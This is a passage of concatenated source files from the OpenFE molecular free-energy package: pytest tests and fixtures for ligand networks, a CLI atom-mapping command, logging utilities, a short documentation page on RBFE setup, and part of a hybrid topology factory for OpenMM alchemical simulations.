ligands=ligs, indices=requested, mapper=openfe.LomapAtomMapper(), ) assert len(network.nodes) == len(ligs) assert len(network.edges) == 2 edges = list(network.edges) expected_edges = {(ligs[0], ligs[1]), (ligs[2], ligs[3])} actual_edges = {(edges[0].componentA, edges[0].componentB), (edges[1].componentA, edges[1].componentB)} assert actual_edges == expected_edges def test_network_from_indices_indexerror(atom_mapping_basic_test_files): ligs = list(atom_mapping_basic_test_files.values()) requested = [(20, 1), (2, 3)] with pytest.raises(IndexError, match="Invalid ligand id"): network = openfe.setup.ligand_network_planning.generate_network_from_indices( ligands=ligs, indices=requested, mapper=openfe.LomapAtomMapper(), ) @pytest.mark.parametrize('file_fixture, loader', [ ['orion_network', openfe.setup.ligand_network_planning.load_orion_network], ['fepplus_network', openfe.setup.ligand_network_planning.load_fepplus_network], ]) def test_network_from_external(file_fixture, loader, request, benzene_modifications): network_file = request.getfixturevalue(file_fixture) network = loader( ligands=[l for l in benzene_modifications.values()], mapper=openfe.LomapAtomMapper(), network_file=network_file, ) expected_edges = { (benzene_modifications['benzene'], benzene_modifications['toluene']), (benzene_modifications['benzene'], benzene_modifications['phenol']), (benzene_modifications['benzene'], benzene_modifications['benzonitrile']), (benzene_modifications['benzene'], benzene_modifications['anisole']), (benzene_modifications['benzene'], benzene_modifications['styrene']), (benzene_modifications['benzene'], benzene_modifications['benzaldehyde']), } actual_edges = {(e.componentA, e.componentB) for e in list(network.edges)} assert len(network.nodes) == 7 assert len(network.edges) == 6 assert actual_edges == expected_edges @pytest.mark.parametrize('file_fixture, loader', [ ['orion_network', openfe.setup.ligand_network_planning.load_orion_network], ['fepplus_network', openfe.setup.ligand_network_planning.load_fepplus_network], ]) def test_network_from_external_unknown_edge(file_fixture, loader, request, benzene_modifications): network_file = request.getfixturevalue(file_fixture) ligs = [l for l in benzene_modifications.values() if l.name != 'phenol'] with pytest.raises(KeyError, match="Invalid name"): network = loader( ligands=ligs, mapper=openfe.LomapAtomMapper(), network_file=network_file, ) BAD_ORION_NETWORK = """\ # Total number of edges: 6 # ------------------------ benzene >>> toluene benzene >> phenol benzene >> benzonitrile benzene >> anisole benzene >> styrene benzene >> benzaldehyde """ def test_bad_orion_network(benzene_modifications, tmpdir): with tmpdir.as_cwd(): with open('bad_orion_net.dat', 'w') as f: f.write(BAD_ORION_NETWORK) with pytest.raises(KeyError, match="line does not match"): network = openfe.setup.ligand_network_planning.load_orion_network( ligands=[l for l in benzene_modifications.values()], mapper=openfe.LomapAtomMapper(), network_file='bad_orion_net.dat', ) BAD_EDGES = """\ 1c91235:9c91235 benzene -> toluene 1c91235:7876633 benzene -> phenol 1c91235:2a51f95 benzene -> benzonitrile 1c91235:efja0bc benzene -> anisole 1c91235:7877722 benzene -> styrene 1c91235:99930cd benzene -> benzaldehyde """ def test_bad_edges_network(benzene_modifications, tmpdir): with tmpdir.as_cwd(): with open('bad_edges.edges', 'w') as f: f.write(BAD_EDGES) with pytest.raises(KeyError, match="line does not match"): network = openfe.setup.ligand_network_planning.load_fepplus_network( ligands=[l for l in benzene_modifications.values()], mapper=openfe.LomapAtomMapper(), network_file='bad_edges.edges', ) <file_sep>import logging class MsgIncludesStringFilter: """Logging filter to silence specfic log messages. See https://docs.python.org/3/library/logging.html#filter-objects Parameters ---------- string : str if an exact for this is included in the log message, the log record is suppressed """ def __init__(self, string): self.string = string def filter(self, record): return not self.string in record.msg <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe import pytest import importlib from rdkit import Chem from rdkit.Geometry import Point3D import openfe from openff.units import unit @pytest.fixture def benzene_vacuum_system(benzene_modifications): return openfe.ChemicalSystem( {'ligand': benzene_modifications['benzene']}, ) @pytest.fixture def benzene_system(benzene_modifications): return openfe.ChemicalSystem( {'ligand': benzene_modifications['benzene'], 'solvent': openfe.SolventComponent( positive_ion='Na', negative_ion='Cl', ion_concentration=0.15 * unit.molar) }, ) @pytest.fixture def benzene_complex_system(benzene_modifications, T4_protein_component): return openfe.ChemicalSystem( {'ligand': benzene_modifications['benzene'], 'solvent': openfe.SolventComponent( positive_ion='Na', negative_ion='Cl', ion_concentration=0.15 * unit.molar), 'protein': T4_protein_component,} ) @pytest.fixture def toluene_vacuum_system(benzene_modifications): return openfe.ChemicalSystem( {'ligand': benzene_modifications['toluene']}, ) @pytest.fixture def toluene_system(benzene_modifications): return openfe.ChemicalSystem( {'ligand': benzene_modifications['toluene'], 'solvent': openfe.SolventComponent( positive_ion='Na', negative_ion='Cl', ion_concentration=0.15 * unit.molar), }, ) @pytest.fixture def toluene_complex_system(benzene_modifications, T4_protein_component): return openfe.ChemicalSystem( {'ligand': benzene_modifications['toluene'], 'solvent': openfe.SolventComponent( positive_ion='Na', negative_ion='Cl', ion_concentration=0.15 * unit.molar), 'protein': T4_protein_component,} ) @pytest.fixture def benzene_to_toluene_mapping(benzene_modifications): mapper = openfe.setup.LomapAtomMapper(element_change=False) molA = benzene_modifications['benzene'] molB = benzene_modifications['toluene'] return next(mapper.suggest_mappings(molA, molB)) @pytest.fixture def benzene_many_solv_system(benzene_modifications): rdmol_phenol = benzene_modifications['phenol'].to_rdkit() rdmol_benzo = benzene_modifications['benzonitrile'].to_rdkit() conf_phenol = rdmol_phenol.GetConformer() conf_benzo = rdmol_benzo.GetConformer() for atm in range(rdmol_phenol.GetNumAtoms()): x, y, z = conf_phenol.GetAtomPosition(atm) conf_phenol.SetAtomPosition(atm, Point3D(x+30, y, z)) for atm in range(rdmol_benzo.GetNumAtoms()): x, y, z = conf_benzo.GetAtomPosition(atm) conf_benzo.SetAtomPosition(atm, Point3D(x, y+30, z)) phenol = openfe.SmallMoleculeComponent.from_rdkit( rdmol_phenol, name='phenol' ) benzo = openfe.SmallMoleculeComponent.from_rdkit( rdmol_benzo, name='benzonitrile' ) return openfe.ChemicalSystem( {'whatligand': benzene_modifications['benzene'], "foo": phenol, "bar": benzo, "solvent": openfe.SolventComponent()}, ) @pytest.fixture def toluene_many_solv_system(benzene_modifications): rdmol_phenol = benzene_modifications['phenol'].to_rdkit() rdmol_benzo = benzene_modifications['benzonitrile'].to_rdkit() conf_phenol = rdmol_phenol.GetConformer() conf_benzo = rdmol_benzo.GetConformer() for atm in range(rdmol_phenol.GetNumAtoms()): x, y, z = conf_phenol.GetAtomPosition(atm) conf_phenol.SetAtomPosition(atm, Point3D(x+30, y, z)) for atm in range(rdmol_benzo.GetNumAtoms()): x, y, z = conf_benzo.GetAtomPosition(atm) conf_benzo.SetAtomPosition(atm, Point3D(x, y+30, z)) phenol = openfe.SmallMoleculeComponent.from_rdkit( rdmol_phenol, name='phenol' ) benzo = openfe.SmallMoleculeComponent.from_rdkit( rdmol_benzo, name='benzonitrile' ) return openfe.ChemicalSystem( {'whatligand': benzene_modifications['toluene'], "foo": phenol, "bar": benzo, "solvent": openfe.SolventComponent()}, ) <file_sep>from gufe import LigandAtomMapping from .ligandatommapper import LigandAtomMapper from .lomap_mapper import LomapAtomMapper from .perses_mapper import PersesAtomMapper from . import perses_scorers from . import lomap_scorers <file_sep># This code is part of OpenFE and is licensed under the MIT license. # For details, see https://github.com/OpenFreeEnergy/openfe import click from openfecli import OFECommandPlugin from openfecli.parameters import MOL, MAPPER, OUTPUT_FILE_AND_EXT def allow_two_molecules(ctx, param, value): """click callback to require that --mol is specified exactly twice""" if len(value) != 2: raise click.BadParameter("Must specify --mol exactly twice.") return value @click.command( "atommapping", short_help="Check the atom mapping of a given pair of ligands" ) @MOL.parameter(multiple=True, callback=allow_two_molecules, required=True, help=MOL.kwargs['help'] + " Must be specified twice.") @MAPPER.parameter(required=True) @OUTPUT_FILE_AND_EXT.parameter( help=OUTPUT_FILE_AND_EXT.kwargs['help'] + " (PNG format)" ) def atommapping(mol, mapper, output): """ This provides tools for looking at a specific atommapping. """ # note that the text of the docstring will be the help when you run # `openfe atommapping --help`. molA_str, molB_str = mol molA = MOL.get(molA_str) molB = MOL.get(molB_str) mapper_cls = MAPPER.get(mapper) mapper_obj = mapper_cls() file, ext = OUTPUT_FILE_AND_EXT.get(output) if file: atommapping_visualize_main(mapper_obj, molA, molB, file, ext) else: atommapping_print_dict_main(mapper_obj, molA, molB) def generate_mapping(mapper, molA, molB): """Utility method to extract a single mapping from a mapper. Parameters ---------- mapper : :class:`.LigandAtomMapper` the mapper to use to generate the mapping molA, molB : :class:`.SmallMoleculeComponent` molecules to map between Returns ------ :class:`.LigandAtomMapping` : the mapping generated by the mapper; errors if there is not exactly one mapping generated """ mappings = list(mapper.suggest_mappings(molA, molB)) if len(mappings) != 1: raise click.UsageError( f"Found {len(mappings)} mappings; this command requires a mapper " "to provide exactly 1 mapping" ) return mappings[0] def atommapping_print_dict_main(mapper, molA, molB): """Main function for generating and printing out the mapping""" mapping = generate_mapping(mapper, molA, molB) print(mapping.componentA_to_componentB) def atommapping_visualize_main(mapper, molA, molB, file, ext): from rdkit.Chem import Draw from gufe.visualization import mapping_visualization as vis mapping = generate_mapping(mapper, molA, molB) ext_to_artist = { "png": Draw.rdMolDraw2D.MolDraw2DCairo(600, 300, 300, 300), } try: artist = ext_to_artist[ext] except KeyError: raise click.BadParameter( f"Unknown file format: '{ext}'. The following formats are " "supported: " + ", ".join([f"'{ext}'" for ext in ext_to_artist]) ) contents = vis.draw_mapping(mapping.componentA_to_componentB, mapping.componentA.to_rdkit(), mapping.componentB.to_rdkit(), d2d=artist) file.write(contents) PLUGIN = OFECommandPlugin( command=atommapping, section="hidden", requires_ofe=(0, 0, 1), ) <file_sep>import pytest from unittest import mock from click.testing import CliRunner import importlib.resources import matplotlib from openfecli.commands.view_ligand_network import view_ligand_network @pytest.mark.filterwarnings("ignore:.*non-GUI backend") def test_view_ligand_network(): # smoke test resource = importlib.resources.files('openfe.tests.data.serialization') ref = resource / "network_template.graphml" runner = CliRunner() backend = matplotlib.get_backend() matplotlib.use("ps") loc = "openfe.utils.atommapping_network_plotting.matplotlib.use" with runner.isolated_filesystem(): with mock.patch(loc, mock.Mock()): result = runner.invoke(view_ligand_network, [str(ref)]) assert result.exit_code == 0 matplotlib.use(backend) <file_sep>.. _define-rbfe: Defining RBFE Calculations ========================== An :class:`.AlchemicalNetwork` for relative binding free energy calculations can be easily created with a :class:`.RBFEAlchemicalNetworkPlanner`. Creating the :class:`.AlchemicalNetwork` basically involves the following three steps: 1. Creating a :class:`.LigandNetwork` to represent the planned ligand transformations. 2. Creating a :class:`.ChemicalSystem` (which combines protein, solvent, and ligand) for each ligand. 3. Using the :class:`.LigandNetwork` to create the :class:`.AlchemicalNetwork` (where each node is a :class:`.ChemicalSystem` and the edges also carry information about the :class:`.Protocol`). Each aspect of this can be performed manually. For details on customizing the :class:`.LigandNetwork`, see :ref:`define_ligand_network`. <file_sep>import contextlib import logging @contextlib.contextmanager def silence_root_logging(): """Context manager to silence logging from root logging handlers. a.k.a, "Why are you using basicConfig during import -- or in library code at all?" """ root = logging.getLogger() old_handlers = list(root.handlers) for handler in old_handlers: root.removeHandler(handler) null = logging.NullHandler() root.addHandler(null) try: yield finally: root.removeHandler(null) for handler in old_handlers: root.addHandler(handler) <file_sep># This code is a slightly modified version of the HybridTopologyFactory code # from https://github.com/choderalab/perses # The eventual goal is to move a version of this towards openmmtools # LICENSE: MIT import logging import openmm from openmm import unit, app import numpy as np import copy import itertools # OpenMM constant for Coulomb interactions (implicitly in md_unit_system units) from openmmtools.constants import ONE_4PI_EPS0 import mdtraj as mdt logger = logging.getLogger(__name__) class HybridTopologyFactory: """ This class generates a hybrid topology based on two input systems and an atom mapping. For convenience the states are called "old" and "new" respectively, defining the starting and end states along the alchemical transformation. The input systems are assumed to have: 1. The total number of molecules 2. The same coordinates for equivalent atoms Atoms in the resulting hybrid system are treated as being from one of four possible types: unique_old_atom : These atoms are not mapped and only present in the old system. Their interactions will be on for lambda=0, off for lambda=1 unique_new_atom : These atoms are not mapped and only present in the new system. Their interactions will be off for lambda=0, on for lambda=1 core_atom : These atoms are mapped between the two end states, and are part of a residue that is changing alchemically. Their interactions will be those corresponding to the old system at lambda=0, and those corresponding to the new system at lambda=1 environment_atom : These atoms are mapped between the two end states, and are not part of a residue undergoing an alchemical change. Their interactions are always on and are alchemically unmodified. Properties ---------- hybrid_system : openmm.System The hybrid system for simulation new_to_hybrid_atom_map : dict of int : int The mapping of new system atoms to hybrid atoms old_to_hybrid_atom_map : dict of int : int The mapping of old system atoms to hybrid atoms hybrid_positions : [n, 3] np.ndarray The positions of the hybrid system hybrid_topology : mdtraj.Topology The topology of the hybrid system omm_hybrid_topology : openmm.app.Topology The OpenMM topology object corresponding to the hybrid system .. warning :: This API is experimental and subject to change. Notes ----- * Logging has been removed and will be revamped at a later date. * The ability to define custom functions has been removed for now. * Neglected angle terms have been removed for now. * RMSD restraint option has been removed for now. * Endstate support has been removed for now. * Bond softening has been removed for now. * Unused InteractionGroup code paths have been removed. TODO ---- * Document how positions for hybrid system are constructed. * Allow support for annealing in omitted terms. * Implement omitted terms (this was not available in the original class). """ def __init__(self, old_system, old_positions, old_topology, new_system, new_positions, new_topology, old_to_new_atom_map, old_to_new_core_atom_map, use_dispersion_correction=False, softcore_alpha=0.5, softcore_LJ_v2=True, softcore_LJ_v2_alpha=0.85, softcore_electrostatics=True, softcore_electrostatics_alpha=0.3, softcore_sigma_Q=1.0, interpolate_old_and_new_14s=False, flatten_torsions=False, **kwargs): """ Initialize the Hybrid topology factory. Parameters ---------- old_system : openmm.System OpenMM system defining the "old" (i.e. starting) state. old_positions : [n,3] np.ndarray of float The positions of the "old system". old_topology : openmm.Topology OpenMM topology defining the "old" state. new_system: opemm.System OpenMM system defining the "new" (i.e. end) state. new_positions : [m,3] np.ndarray of float The positions of the "new system" new_topology : openmm.Topology OpenMM topology defining the "new" state. old_to_new_atom_map : dict of int : int Dictionary of corresponding atoms between the old and new systems. Unique atoms are not included in this atom map. old_to_new_core_atom_map : dict of int : int Dictionary of corresponding atoms between the alchemical "core atoms" (i.e. residues which are changing) between the old and new systems. use_dispersion_correction : bool, default False Whether to use the long range correction in the custom sterics force. This can be very expensive for NCMC. softcore_alpha: float, default None "alpha" parameter of softcore sterics, default 0.5. softcore_LJ_v2 : bool, default True Implement the softcore LJ as defined by Gapsys et al. JCTC 2012. softcore_LJ_v2_alpha : float, default 0.85 Softcore alpha parameter for LJ v2 softcore_electrostatics : bool, default True Use softcore electrostatics as defined by Gapsys et al. JCTC 2021. softcore_electrostatics_alpha : float, default 0.3 Softcore alpha parameter for softcore electrostatics. softcore_sigma_Q : float, default 1.0 Softcore sigma parameter for softcore electrostatics. interpolate_old_and_new_14s : bool, default False Whether to turn off interactions for new exceptions (not just 1,4s) at lambda = 0 and old exceptions at lambda = 1; if False, they are present in the nonbonded force. flatten_torsions : bool, default False If True, torsion terms involving `unique_new_atoms` will be scaled such that at lambda=0,1, the torsion term is turned off/on respectively. The opposite is true for `unique_old_atoms`. """ # Assign system positions and force # IA - Are deep copies really needed here? self._old_system = copy.deepcopy(old_system) self._old_positions = old_positions self._old_topology = old_topology self._new_system = copy.deepcopy(new_system) self._new_positions = new_positions self._new_topology = new_topology self._hybrid_system_forces = dict() # Set mappings (full, core, and env maps) self._set_mappings(old_to_new_atom_map, old_to_new_core_atom_map) # Other options self._use_dispersion_correction = use_dispersion_correction self._interpolate_14s = interpolate_old_and_new_14s # TODO: re-implement this at some point if flatten_torsions: errmsg = "Flatten torsions option is not current implemented" raise ValueError(errmsg) # Sofcore options self._softcore_alpha = softcore_alpha self._check_bounds(softcore_alpha, "softcore_alpha") # [0,1] check self._softcore_LJ_v2 = softcore_LJ_v2 if self._softcore_LJ_v2: self._check_bounds(softcore_LJ_v2_alpha, "softcore_LJ_v2_alpha") self._softcore_LJ_v2_alpha = softcore_LJ_v2_alpha self._softcore_electrostatics = softcore_electrostatics if self._softcore_electrostatics: self._softcore_electrostatics_alpha = softcore_electrostatics_alpha self._check_bounds(softcore_electrostatics_alpha, "softcore_electrostatics_alpha") self._softcore_sigma_Q = softcore_sigma_Q self._check_bounds(softcore_sigma_Q, "softcore_sigma_Q") # TODO: end __init__ here and move everything else to # create_hybrid_system() or equivalent self._check_and_store_system_forces() logger.info("Creating hybrid system") # Create empty system that will become the hybrid system self._hybrid_system = openmm.System() # Add particles to system self._add_particles() # Add box + barostat self._handle_box() # Assign atoms to one of the classes described in the class docstring # Renamed from original _determine_atom_classes self._set_atom_classes() # Construct dictionary of exceptions in old and new systems self._old_system_exceptions = self._generate_dict_from_exceptions( self._old_system_forces['NonbondedForce']) self._new_system_exceptions = self._generate_dict_from_exceptions( self._new_system_forces['NonbondedForce']) # check for exceptions clashes between unique and env atoms self._validate_disjoint_sets() logger.info("Setting force field terms") # Copy constraints, checking to make sure they are not changing self._handle_constraints() # Copy over relevant virtual sites - pick up refactor from here self._handle_virtual_sites() # TODO - move to a single method call? Would be good to group these # Call each of the force methods to add the corresponding force terms # and prepare the forces: self._add_bond_force_terms() self._add_angle_force_terms() self._add_torsion_force_terms() has_nonbonded_force = ('NonbondedForce' in self._old_system_forces or 'NonbondedForce' in self._new_system_forces) if has_nonbonded_force: self._add_nonbonded_force_terms() # Call each force preparation method to generate the actual # interactions that we need: logger.info("Adding forces") self._handle_harmonic_bonds() self._handle_harmonic_angles() self._handle_periodic_torsion_force() if has_nonbonded_force: self._handle_nonbonded() if not (len(self._old_system_exceptions.keys()) == 0 and len(self._new_system_exceptions.keys()) == 0): self._handle_old_new_exceptions() # Get positions for the hybrid self._hybrid_positions = self._compute_hybrid_positions() # Get an MDTraj topology for writing self._hybrid_topology = self._create_mdtraj_topology() self._omm_hybrid_topology = self._create_hybrid_topology() logger.info("Hybrid system created") @staticmethod def _check_bounds(value, varname, minmax=(0, 1)): """ Convenience method to check the bounds of a value. Parameters ---------- value : float Value to evaluate. varname : str Name of value to raise in error message minmax : tuple Two element tuple with the lower and upper bounds to check. Raises ------ AssertionError If value is lower or greater than bounds. """ if value < minmax[0] or value > minmax[1]: raise AssertionError(f"{varname} is not in {minmax}") @staticmethod def _invert_dict(dictionary): """ Convenience method to invert a dictionary (since we do it so often). Paramters: ---------- dictionary : dict Dictionary you want to invert """ return {v: k for k, v in dictionary.items()} def _set_mappings(self, old_to_new_map, core_old_to_new_map): """ Parameters ---------- old_to_new_map : dict of int : int Dictionary mapping atoms between the old and new systems. Notes ----- * For now this directly sets the system, core and env old_to_new_map, new_to_old_map, an empty new_to_hybrid_map and an empty old_to_hybrid_map. In the future this will be moved to the one dictionary to make things a lot less confusing. """ self._old_to_new_map = old_to_new_map self._core_old_to_new_map = core_old_to_new_map self._new_to_old_map = self._invert_dict(old_to_new_map) self._core_new_to_old_map = self._invert_dict(core_old_to_new_map) self._old_to_hybrid_map = {} self._new_to_hybrid_map = {} # Get unique atoms # old system first self._unique_old_atoms = [] for particle_idx in range(self._old_system.getNumParticles()): if particle_idx not in self._old_to_new_map.keys(): self._unique_old_atoms.append(particle_idx) self._unique_new_atoms = [] for particle_idx in range(self._new_system.getNumParticles()): if particle_idx not in self._new_to_old_map.keys(): self._unique_new_atoms.append(particle_idx) # Get env atoms (i.e. atoms mapped not in core) self._env_old_to_new_map = {} for key, value in old_to_new_map.items(): if key not in self._core_old_to_new_map.keys(): self._env_old_to_new_map[key] = value self._env_new_to_old_map = self._invert_dict(self._env_old_to_new_map) # IA - Internal check for now (move to test later) num_env = len(self._env_old_to_new_map.keys()) num_core = len(self._core_old_to_new_map.keys()) num_total = len(self._old_to_new_map.keys()) assert num_env + num_core == num_total def _check_and_store_system_forces(self): """ Conveniently stores the system forces and checks that no unknown forces exist. """ def _check_unknown_forces(forces, system_name): # TODO: double check that CMMotionRemover is ok being here known_forces = {'HarmonicBondForce', 'HarmonicAngleForce', 'PeriodicTorsionForce', 'NonbondedForce', 'MonteCarloBarostat', 'CMMotionRemover'} force_names = forces.keys() unknown_forces = set(force_names) - set(known_forces) if unknown_forces: errmsg = (f"Unknown forces {unknown_forces} encountered in " f"{system_name} system") raise ValueError(errmsg) # Prepare dicts of forces, which will be useful later # TODO: Store this as self._system_forces[name], name in ('old', # 'new', 'hybrid') for compactness self._old_system_forces = {type(force).__name__: force for force in self._old_system.getForces()} _check_unknown_forces(self._old_system_forces, 'old') self._new_system_forces = {type(force).__name__: force for force in self._new_system.getForces()} _check_unknown_forces(self._new_system_forces, 'new') # TODO: check if this is actually used much, otherwise ditch it # Get and store the nonbonded method from the system: self._nonbonded_method = self._old_system_forces['NonbondedForce'].getNonbondedMethod() def _add_particles(self): """ Adds particles to the hybrid system. This does not copy over interactions, but does copy over the masses. Note ---- * If there is a difference in masses between the old and new systems the average mass of the two is used. TODO ---- * Review influence of lack of mass scaling. """ # Begin by copying all particles in the old system for particle_idx in range(self._old_system.getNumParticles()): mass_old = self._old_system.getParticleMass(particle_idx) if particle_idx in self._old_to_new_map.keys(): particle_idx_new_system = self._old_to_new_map[particle_idx] mass_new = self._new_system.getParticleMass( particle_idx_new_system) # Take the average of the masses if the atom is mapped particle_mass = (mass_old + mass_new) / 2 else: particle_mass = mass_old hybrid_idx = self._hybrid_system.addParticle(particle_mass) self._old_to_hybrid_map[particle_idx] = hybrid_idx # If the particle index in question is mapped, make sure to add it # to the new to hybrid map as well. if particle_idx in self._old_to_new_map.keys(): self._new_to_hybrid_map[particle_idx_new_system] = hybrid_idx # Next, add the remaining unique atoms from the new system to the # hybrid system and map accordingly. for particle_idx in self._unique_new_atoms: particle_mass = self._new_system.getParticleMass(particle_idx) hybrid_idx = self._hybrid_system.addParticle(particle_mass) self._new_to_hybrid_map[particle_idx] = hybrid_idx # Create the opposite atom maps for later use (nonbonded processing) self._hybrid_to_old_map = self._invert_dict(self._old_to_hybrid_map) self._hybrid_to_new_map = self._invert_dict(self._new_to_hybrid_map) def _handle_box(self): """ Copies over the barostat and box vectors as necessary. """ # Check that if there is a barostat in the old system, # it is added to the hybrid system if "MonteCarloBarostat" in self._old_system_forces.keys(): barostat = copy.deepcopy( self._old_system_forces["MonteCarloBarostat"]) self._hybrid_system.addForce(barostat) # Copy over the box vectors from the old system box_vectors = self._old_system.getDefaultPeriodicBoxVectors() self._hybrid_system.setDefaultPeriodicBoxVectors(*box_vectors) def _set_atom_classes(self): """ This method determines whether each atom belongs to unique old, unique new, core, or environment, as defined in the class docstring. All indices are indices in the hybrid system. """ self._atom_classes = {'unique_old_atoms': set(), 'unique_new_atoms': set(), 'core_atoms': set(), 'environment_atoms': set()} # First, find the unique old atoms for atom_idx in self._unique_old_atoms: hybrid_idx = self._old_to_hybrid_map[atom_idx] self._atom_classes['unique_old_atoms'].add(hybrid_idx) # Then the unique new atoms for atom_idx in self._unique_new_atoms: hybrid_idx = self._new_to_hybrid_map[atom_idx] self._atom_classes['unique_new_atoms'].add(hybrid_idx) # The core atoms: for new_idx, old_idx in self._core_new_to_old_map.items(): new_to_hybrid_idx = self._new_to_hybrid_map[new_idx] old_to_hybrid_idx = self._old_to_hybrid_map[old_idx] if new_to_hybrid_idx != old_to_hybrid_idx: errmsg = (f"there is an index collision in hybrid indices of " f"the core atom map: {self._core_new_to_old_map}") raise AssertionError(errmsg) self._atom_classes['core_atoms'].add(new_to_hybrid_idx) # The environment atoms: for new_idx, old_idx in self._env_new_to_old_map.items(): new_to_hybrid_idx = self._new_to_hybrid_map[new_idx] old_to_hybrid_idx = self._old_to_hybrid_map[old_idx] if new_to_hybrid_idx != old_to_hybrid_idx: errmsg = (f"there is an index collion in hybrid indices of " f"the environment atom map: " f"{self._env_new_to_old_map}") raise AssertionError(errmsg) self._atom_classes['environment_atoms'].add(new_to_hybrid_idx) @staticmethod def _generate_dict_from_exceptions(force): """ This is a utility function to generate a dictionary of the form (particle1_idx, particle2_idx) : [exception parameters]. This will facilitate access and search of exceptions. Parameters ---------- force : openmm.NonbondedForce object a force containing exceptions Returns ------- exceptions_dict : dict Dictionary of exceptions """ exceptions_dict = {} for exception_index in range(force.getNumExceptions()): [index1, index2, chargeProd, sigma, epsilon] = force.getExceptionParameters(exception_index) exceptions_dict[(index1, index2)] = [chargeProd, sigma, epsilon] return exceptions_dict def _validate_disjoint_sets(self): """ Conduct a sanity check to make sure that the hybrid maps of the old and new system exception dict keys do not contain both environment and unique_old/new atoms. TODO: repeated code - condense """ for old_indices in self._old_system_exceptions.keys(): hybrid_indices = (self._old_to_hybrid_map[old_indices[0]], self._old_to_hybrid_map[old_indices[1]]) old_env_intersection = set(old_indices).intersection( self._atom_classes['environment_atoms']) if old_env_intersection: if set(old_indices).intersection( self._atom_classes['unique_old_atoms'] ): errmsg = (f"old index exceptions {old_indices} include " "unique old and environment atoms, which is " "disallowed") raise AssertionError(errmsg) for new_indices in self._new_system_exceptions.keys(): hybrid_indices = (self._new_to_hybrid_map[new_indices[0]], self._new_to_hybrid_map[new_indices[1]]) new_env_intersection = set(hybrid_indices).intersection( self._atom_classes['environment_atoms']) if new_env_intersection: if set(hybrid_indices).intersection( self._atom_classes['unique_new_atoms'] ): errmsg = (f"new index exceptions {new_indices} include " "unique new and environment atoms, which is " "dissallowed") raise AssertionError def _handle_constraints(self): """ This method adds relevant constraints from the old and new systems. First, all constraints from the old systenm are added. Then, constraints to atoms unique to the new system are added. TODO: condense duplicated code """ # lengths of constraints already added constraint_lengths = dict() # old system hybrid_map = self._old_to_hybrid_map for const_idx in range(self._old_system.getNumConstraints()): at1, at2, length = self._old_system.getConstraintParameters( const_idx) hybrid_atoms = tuple(sorted([hybrid_map[at1], hybrid_map[at2]])) if hybrid_atoms not in constraint_lengths.keys(): self._hybrid_system.addConstraint(hybrid_atoms[0], hybrid_atoms[1], length) constraint_lengths[hybrid_atoms] = length else: if constraint_lengths[hybrid_atoms] != length: raise AssertionError('constraint length is changing') # new system hybrid_map = self._new_to_hybrid_map for const_idx in range(self._new_system.getNumConstraints()): at1, at2, length = self._new_system.getConstraintParameters( const_idx) hybrid_atoms = tuple(sorted([hybrid_map[at1], hybrid_map[at2]])) if hybrid_atoms not in constraint_lengths.keys(): self._hybrid_system.addConstraint(hybrid_atoms[0], hybrid_atoms[1], length) constraint_lengths[hybrid_atoms] = length else: if constraint_lengths[hybrid_atoms] != length: raise AssertionError('constraint length is changing') @staticmethod def _copy_threeparticleavg(atm_map, env_atoms, vs): """ Helper method to copy a ThreeParticleAverageSite virtual site from two mapped Systems. Parameters ---------- atm_map : dict[int, int] The atom map correspondance between the two Systems. env_atoms: set[int] A list of environment atoms for the target System. This checks that no alchemical atoms are being tied to. vs : openmm.ThreeParticleAverageSite Returns ------- openmm.ThreeParticleAverageSite """ particles = {} weights = {} for i in range(vs.getNumParticles()): particles[i] = atm_map[vs.getParticle(i)] weights[i] = vs.getWeight(i) if not all(i in env_atoms for i in particles.values()): errmsg = ("Virtual sites bound to non-environment atoms " "are not supported") raise ValueError(errmsg) return openmm.ThreeParticleAverageSite( particles[0], particles[1], particles[2], weights[0], weights[1], weights[2], ) def _handle_virtual_sites(self): """ Ensure that all virtual sites in old and new system are copied over to the hybrid system. Note that we do not support virtual sites in the changing region. TODO - remerge into a single loop TODO - check that it's fine to double count here (even so, there's an optimisation that could be done here...) """ # old system # Loop through virtual sites for particle_idx in range(self._old_system.getNumParticles()): if self._old_system.isVirtualSite(particle_idx): # If it's a virtual site, make sure it is not in the unique or # core atoms, since this is currently unsupported hybrid_idx = self._old_to_hybrid_map[particle_idx] if hybrid_idx not in self._atom_classes['environment_atoms']: errmsg = ("Virtual sites in changing residue are " "unsupported.") raise ValueError(errmsg) else: virtual_site = self._old_system.getVirtualSite( particle_idx) if isinstance( virtual_site, openmm.ThreeParticleAverageSite): vs_copy = self._copy_threeparticleavg( self._old_to_hybrid_map, self._atom_classes['environment_atoms'], virtual_site, ) else: errmsg = ("Unsupported VirtualSite " f"class: {virtual_site}") raise ValueError(errmsg) self._hybrid_system.setVirtualSite(hybrid_idx, vs_copy) # new system - there should be nothing left to add # Loop through virtual sites for particle_idx in range(self._new_system.getNumParticles()): if self._new_system.isVirtualSite(particle_idx): # If it's a virtual site, make sure it is not in the unique or # core atoms, since this is currently unsupported hybrid_idx = self._new_to_hybrid_map[particle_idx] if hybrid_idx not in self._atom_classes['environment_atoms']: errmsg = ("Virtual sites in changing residue are " "unsupported.") raise ValueError(errmsg) else: if not self._hybrid_system.isVirtualSite(hybrid_idx): errmsg = ("Environment virtual site in new system " "found not copied from old system") raise ValueError(errmsg) def _add_bond_force_terms(self): """ This function adds the appropriate bond forces to the system (according to groups defined in the main class docstring). Note that it does _not_ add the particles to the force. It only adds the force to facilitate another method adding the particles to the force. Notes ----- * User defined functions have been removed for now. """ core_energy_expression = '(K/2)*(r-length)^2;' # linearly interpolate spring constant core_energy_expression += 'K = (1-lambda_bonds)*K1 + lambda_bonds*K2;' # linearly interpolate bond length core_energy_expression += 'length = (1-lambda_bonds)*length1 + lambda_bonds*length2;' # Create the force and add the relevant parameters custom_core_force = openmm.CustomBondForce(core_energy_expression) custom_core_force.addPerBondParameter('length1') # old bond length custom_core_force.addPerBondParameter('K1') # old spring constant custom_core_force.addPerBondParameter('length2') # new bond length custom_core_force.addPerBondParameter('K2') # new spring constant custom_core_force.addGlobalParameter('lambda_bonds', 0.0) self._hybrid_system.addForce(custom_core_force) self._hybrid_system_forces['core_bond_force'] = custom_core_force # Add a bond force for environment and unique atoms (bonds are never # scaled for these): standard_bond_force = openmm.HarmonicBondForce() self._hybrid_system.addForce(standard_bond_force) self._hybrid_system_forces['standard_bond_force'] = standard_bond_force def _add_angle_force_terms(self): """ This function adds the appropriate angle force terms to the hybrid system. It does not add particles or parameters to the force; this is done elsewhere. Notes ----- * User defined functions have been removed for now. * Neglected angle terms have been removed for now. """ energy_expression = '(K/2)*(theta-theta0)^2;' # 